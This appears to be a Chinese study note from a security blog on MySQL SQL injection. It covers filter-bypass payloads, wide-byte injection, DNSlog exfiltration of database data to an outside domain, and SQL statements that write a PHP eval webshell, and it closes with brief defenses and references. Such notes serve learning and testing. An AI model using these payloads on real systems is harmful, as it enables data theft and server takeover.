Disabled: 表示 SELinux 已关闭。


outfiledumpfile 在 MySQL 3.23.55 版本之后,不再可以覆盖文件,只能创建新文件。

outfiledumpfile 的区别:

outfile

  • 适用于导出多行文本数据
  • 自动添加行终止符、列分隔符,并且可以指定这些符号
  • 支持多行导出

dumpfile

  • 能够导出单行的二进制数据
  • 不添加行终止符或列分隔符
  • 只能导出单行结果

例如,如果某个表保存了文件的二进制数据,可以如下导出:

1
SELECT data_column INTO DUMPFILE '/tmp/test.exe' FROM data_table WHERE id = 1;

一个简单示例

Alt text

Alt text

Alt text

Alt text

5:防护绕过

5.1:绕过空格过滤

如下语句需要空格正确分割关键字才能正常执行:
select username, password from users where id=1;

绕过方法

  • 将空格 URL 编码(%20+
  • 使用 tab 缩进(%09)代替空格
  • 使用回车(%0D)换行(%0A)代替空格
  • 使用括号包裹来绕过
    • select(username)from(users)where(id=1);
  • 使用多行注释 /**/ 绕过:
    • select/**/username,password/**/from/**/users/**/where/**/id=1;

5.2:绕过引号过滤

MySQL where 后面的查询条件为字符串时,需要用双引号【"】或单引号【'】包裹。如:
select username,password from users where username="Dumb";

绕过方法

  • 双引号【"】与单引号【'】相互替换
  • 将查询条件转为 16 进制编码
    • select username,password from users where username=0x44756d62;
  • 宽字节绕过

简单示例:

Alt text

5.2.1:宽字节注入

利用 MySQL 的一个特性,使用宽字节(如 GBK)编码时,会认为两个字节是一个字符。

为了过滤用户输入的一些数据,程序会对特殊的字符加上反斜杠【\】进行转义。例如 MySQL 中的 addslashes()

单引号【'】(0x27%27
反斜杠【\】(0x5C%5C

比如输入单引号【'】时,调用转义函数处理为【\'】。

MySQL 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字。
而当前一个字节大于 128 时(比如 %DF),才到汉字的范围。

所以在引号前加上 %DF 即可绕过转义,将引号逃逸出来。

数据转化过程:

1
2
%DF'  -->  %DF\'  -->  %DF%5C%27  -->  運'
输入 --> 转义 --> 16 进制表示 --> MySQL 解析结果

5.2.2:补充

单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码。

宽字节字符集:相对于单字节而言,实际上只有两字节。比如 GB2312、GBK 等。

多字节字符集:一种可变长度的编码方案。例如 UTF-8,使用 1 ~ 4 个字节表示一个符号。

5.3:绕过逗号过滤

绕过方法

对于 substr(string, pos, n),可以使用 from pos for n 绕过。

  • select substr(database(),1,1);
  • select substr(database() from 1 for 1);

对于联合查询,可以使用 join 连接查询绕过。

  • select username,password from users where id=1 union select database(),user();
  • select username,password from users where id=1 union select * from (select database())a join (select user())b;

对于 limit <pos>,<n>,可以使用 limit <n> offset <pos> 绕过。

  • select * from users limit 0,1;
  • select * from users limit 1 offset 0;

示例

Alt text

Alt text

5.4:绕过逻辑符过滤

绕过方法

使用同功能的函数或符号进行替换:

  • && = and
  • || = or
  • |# = xor
  • ! = not
  • != = <>

5.5:绕过等号过滤

绕过方法

借助 like 配合通配符 % 模糊查询绕过:

  • select * from users where username='Dumb';
  • select * from users where username like '%u%';
  • select * from users where username like '%%';

5.6:绕过比较符过滤

绕过方法

大于号【>】可用 greatest() 函数绕过。
大于号【<】可用 least() 函数绕过。

  • select ascii(substr(database(), 1, 1))<116;
  • select least(ascii(substr(database(), 1, 1)),116);
  • select greatest(ascii(substr(database(), 1, 1)),116);

5.7:等函数替换

绕过方法

当常用函数被拦截时,可以使用偏僻函数或者功能相同的其他函数。

对于 order by,可以考虑使用 select ... into 绕过。

  • select username,password from users where id=1 order by 2;
  • select username,password from users where id=1 into @a,@b;

对于 substr(string, pos, n) 函数,可以用 mid(string, pos, n) 绕过。

  • select substr(database(), 1, 1);
  • select mid(database(), 1, 1);

5.7.1:补充

MySQL 中,select ... into 语法用于将查询结果存储到用户定义的变量中。
into 后的变量数量必须与 select 返回的列数量匹配,否则会产生错误。

5.8:其他

浮点数绕过

以下命令都能正常执行:

1
2
3
select username,password from users where id=1 union select 1,2;
select username,password from users where id=1.0union select 1,2;
select username,password from users where id=1E0union select 1,2;

添加库名绕过

有些拦截规则不会拦截 库名.表名 这种语法格式。

  • select username,password from users;
  • select username,password from security.users;

参数拆分绕过

某些情况下不同参数最后都拼接到同一条 SQL 语句中。可以将注入语句分割插入不同参数绕过拦截。

6:防范方法

  • 使用数据库或编程语言提供的参数化查询接口,使用预编译
  • 为数据库用户分配最小必需的权限
  • 对特殊字符进行转义或编码处理
  • 不要向用户显示详细的错误消息
  • 对输入进行基于黑白名单的过滤

7:补充知识

7.1:MySQL 高权限用户权限获取

目前有以下方法能获取 MySQL 高权限用户权限:

  • 程序使用了 MySQL 高权限用户运行
  • MySQL 3306 端口弱口令爆破
  • 网站的数据库配置文件中拿到用户明文密码信息
  • 读取 MySQL 的用户 Hash 来解密
  • MySQL 相关历史漏洞
    • CVE-2012-2122 身份认证漏洞:知道用户名,多次输入错误的密码有几率成功登陆进数据库

7.2:MySQL DNSlog 利用

DNSlog 属于 OOB 攻击(Out-of-Band,带外攻击)。

原理:攻击者构造注入语句,让数据库把需要查询的数据和域名拼接起来,然后发生 DNS 查询,只要能获得 DNS 日志,就能获得数据。

需要有一个自己的域名,然后在域名商处配置一条 NS 记录,之后在 NS 服务器上获取 DNS 日志即可。
也可以直接借助现有的 DNSlog 平台。

适用场景

  • DNS 流量没有被阻断
  • DNSlog 平台
  • 能够使用 load_file() 等函数
  • 仅对 Windows 目标有效

secure_file_priv 只限制本地文件的操作,所以对 DNSlog 攻击没有影响。

漏洞利用

select load_file(concat(database(), '.fjhniutt.eyes.sh'));

7.3:MySQL 写 Webshell

7.3.1:方法 1

方法:通过 into outfileinto dumpfile 写入 Webshell。

select '<?php @eval($_POST[\'hello\']);?>' into outfile 'e:/T/test.php'

7.3.2:方法 2

方法:开启全局日志,修改日志文件路径与名称,作为服务器下的木马文件,执行 SQL 语句,记录到日志形成木马。

适用场景

  • 具有相应的数据库权限
  • 能够提供网站绝对路径且有写入权限

漏洞利用

  1. 查看全局日志配置
    • show variables like '%general%';
  2. 开启全局日志
    • set global general_log = on;
  3. 修改日志文件路径与名称
    • set global general_log_file = 'C:/WWW/test.php'
  4. 执行 SQL 语句,MySQL 会将执行的语句记录到日志文件中
    • select '<?php @eval($_POST[\'hello\']);?>';

7.3.3:方法 3

方法:开启慢查询日志,修改日志文件路径与名称,作为服务器下的木马文件,执行 SQL 语句,记录到日志形成木马。

适用场景

  • 具有相应的数据库权限
  • 能够提供网站绝对路径且有写入权限

漏洞利用

  1. 查看慢查询日志配置
    • show variables like '%slow_query_log%';
  2. 开启慢查询日志
    • set global slow_query_log=1;
  3. 修改日志文件路径与名称
    • set global slow_query_log_file='C:/WWW/test.php'
  4. 执行 SQL 语句,MySQL 会将执行的语句记录到日志文件中
    • select '<?php @eval($_POST[\'hello\']);?>' or sleep(11);

只有当查询时间超过配置时间时(默认 10 秒)才会记录在日志中。
可以使用如下语句查看配置时间:
show global variables like '%long_query_time%';

7.4:跨库攻击

常见的数据库与数据库用户的对应关系:

1
2
3
数据库用户A - 数据库A - 网站A --> 表名 --> 列名 --> 数据
数据库用户B - 数据库B - 网站B --> 表名 --> 列名 --> 数据
数据库用户C - 数据库C - 网站C --> 表名 --> 列名 --> 数据

这样做的好处是一个用户对应一个库,网站之间的用户权限与数据互不干扰。(这是最基础的数据库模型)

跨库查询的前提条件:必须是高权限的数据库用户。

1
select username,password from security.users

7.5:其他问题

通过转义字符防御时,如果遇到数据库的列名或是表名本身就带着特殊字符,应该怎么做

  • 字段名或者表名包含特殊符号不影响,因为防止注入的是传入的字段值
  • 如果真的需要前端传入表名,把这些特定表名筛选出来,校验白名单;或者创建字典替换
  • 在风险可控的情况下,把表名或列名改了。如果风险不可控,那就用上面的方法

8:其他

8.1:相关工具

SQLmap:

8.2:相关平台

SQLi-Labs:

DNSlog 平台:

8.3:参考资料

《Mysql利用姿势小结》:
https://www.freebuf.com/articles/web/243136.html

《SQL注入时?id=1 and 1=1和?id=1 and 1=2的功能》:
https://blog.csdn.net/m0_51756263/article/details/125692951

《宽字节注入深度讲解》:
https://cs-cshi.github.io/cybersecurity/%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5%E6%B7%B1%E5%BA%A6%E8%AE%B2%E8%A7%A3/

《渗透测试-SQL注入之宽字节注入》:
https://blog.csdn.net/lza20001103/article/details/124286601

《sql注入常见绕过方法》:
https://blog.csdn.net/ljlrookiebird/article/details/132689961

《sql注入中的一些绕过方法》:
https://uuzdaisuki.com/2018/04/01/sql%E6%B3%A8%E5%85%A5%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%96%B9%E6%B3%95/

《sql注入绕WAF的N种姿势》:
https://www.anquanke.com/post/id/268428

《利用DNSlog平台将SQL盲注变成回显注入》:
https://www.cnblogs.com/CVE-Lemon/p/17806229.html

《Dnslog盲注》:
https://www.jianshu.com/p/d6788f57dba5

《通过MySQL写入webshell的几种方式》:
https://blog.csdn.net/xhy18634297976/article/details/119486812

《12种报错注入+万能语句》:
https://www.jianshu.com/p/bc35f8dd4f7c

《extractvalue、updatexml报错原理》:
https://developer.aliyun.com/article/692723

《Order by排序注入方法小总结》:
https://www.jianshu.com/p/fcae21926e5c

《sql 注入转义防御时,数据库列名或表名本身就带着特殊字符》:
https://www.zhihu.com/question/559033256/answer/2713708372

《sql 注入转义防御时,数据库列名或表名本身就带着特殊字符》:
https://ask.csdn.net/questions/7804983

《sqlmap超详细笔记》:
https://www.cnblogs.com/bmjoker/p/9326258.html

8.4:暂未整理


Access 注入

Access,关系型数据库。

结构:

1
Access -> 表名 -> 列名 -> 数据

注入方式:
union 注入、偏移注入等。

偏移注入:解决 Access 列名获取不到的情况。
查看登陆框源代码的表单值或观察 URL 特征等,也可以针对表或列获取不到的情况。

《Access偏移注入与原理》:
https://www.fujieace.com/penetration-test/access-offset-injection.html


Sql Server 注入

Microsoft SQL Server,也叫 MSSQL,关系型数据库。

《MSSQL注入》:
https://www.cnblogs.com/xishaonian/p/6173644.html


PostgreSQL 注入

PostgreSQL,关系型数据库。

《PostGresql 注入知识汇总》:
https://www.cnblogs.com/yilishazi/p/14710349.html


Oracle 注入
Oracle,关系型数据库。

《【实战】Oracle注入总结》:
https://www.cnblogs.com/peterpan0707007/p/8242119.html


MongoDB 注入

MongoDB 是一个基于分布式文件存储的数据库,属于非关系型数据库。

  • 介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。
  • 数据传输采用 JSON 传输。
  • tojson 函数可以输出 json 数据。

一个针对 MongoDB 注入的工具:NoSQLAttack


SQLserver 写 Webshell

必备条件:

  • 有相应的权限
  • 获得Web目录的绝对路径

使用 xp_cmdshell 写入 WebShell。
使用差异备份写入 WebShell。
使用 log 备份写入WebShell。

《三大数据库写入WebShell的姿势总结》:
https://www.freebuf.com/articles/web/246167.html
《MSSQL GetShell方法》:
https://xz.aliyun.com/t/8603
《安装SQL Server详细教程》:
https://blog.csdn.net/weixin_59249304/article/details/127333755


Oracle 写 Webshell

必备条件

  • 有DBA权限
  • 获得Web目录的绝对路径

使用文件访问包方法写入Webshell

《三大数据库写入WebShell的姿势总结》:
https://www.freebuf.com/articles/web/246167.html




淡云孤雁远,寒日暮天红。

——《临江仙》(五代)徐昌图